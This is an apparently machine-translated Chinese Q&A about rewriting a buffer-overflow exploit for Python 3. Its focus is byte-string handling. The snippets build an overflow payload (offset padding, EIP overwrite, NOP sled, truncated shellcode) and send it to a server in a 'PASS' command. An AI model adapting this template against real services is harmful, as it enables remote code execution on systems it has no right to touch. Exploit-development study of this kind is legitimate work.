利用 Python 3 中的开发

Exploit development in Python 3

我意识到使用 python 3 进行漏洞利用开发并不像使用 python 2 那样直接。

据我了解,这主要是由于套接字库和添加的 byte 数据类型。

例如,我无法弄清楚如何将以下代码翻译成 Python 3 代码:

--- SNIP ---
shellcode =  ""
shellcode += "\x89\xe2\xd9\xcf\xd9\x72\xf4\x5a\x4a\x4a\x4a\x4a\x4a"
--- SNIP ---
offset = "A" * 2606
eip = "\x43\x62\x4b\x5f"
nop = "\x90" * 16 
padding = "C"
buff = offset + eip + nop + shellcode + padding * (424 - 351 - 16)
--- SNIP ---
bytes_sent = sock.send("PASS {}\r\n".format(buff))
--- SNIP ---

我尝试了以下方法:

--- SNIP ---
shellcode =  ""
shellcode += "\x89\xe2\xd9\xcf\xd9\x72\xf4\x5a\x4a\x4a\x4a\x4a\x4a"
--- SNIP ---
offset = "A" * 2606
eip = "\x43\x62\x4b\x5f"
nop = "\x90" * 16 
padding = "C"
buff = offset + eip + nop + shellcode + padding * (424 - 351 - 16)
--- SNIP ---
bytes_sent = sock.send("PASS {}".format(buff).encode("UTF-8"))
--- SNIP ---

问题是 \x90 在内存中变成了 C2 90,我花了好几个小时才弄清楚问题出在我的代码上。我还怀疑这也会改变 shellcode。

我想在 Python

中学习正确的方法

Python2 代码本质上是构建一个字节串。在 Python 3 中,'...' 字符串文字改为构建一个 Unicode 字符串对象。

在 Python 3 中,您需要 bytes 对象,您可以使用 b'...' 字节字符串文字创建这些对象:

# --- SNIP ---
shellcode =  b""
shellcode += b"\x89\xe2\xd9\xcf\xd9\x72\xf4\x5a\x4a\x4a\x4a\x4a\x4a"
# --- SNIP ---
offset = b"A" * 2606
eip = b"\x43\x62\x4b\x5f"
nop = b"\x90" * 16 
padding = b"C"
buff = offset + eip + nop + shellcode + padding * (424 - 351 - 16)
# --- SNIP ---
bytes_sent = sock.send(b"PASS %s\r\n" % buff)
# --- SNIP ---

bytes没有.format()方法,但是%格式化操作还是可以的

正如 Martijn Pieters 所说的那样,在 python 输出中获得相同签名的良好开端 print like function 就像在程序中注入的代码一样,你已经开始使用 b"your shellcode".

示例:

b"AAAA"

b"\x90\x90\x90\x90"

现在,要打印到另一个程序的输出,您不应该使用 print()。你应该使用 sys.stdout.buffer.write(value).

示例:

shellcode = b"\x41\x42\x43\x44"
sys.stdout.buffer.write(shellcode)

来源:

  1. Live Overflow video on youtube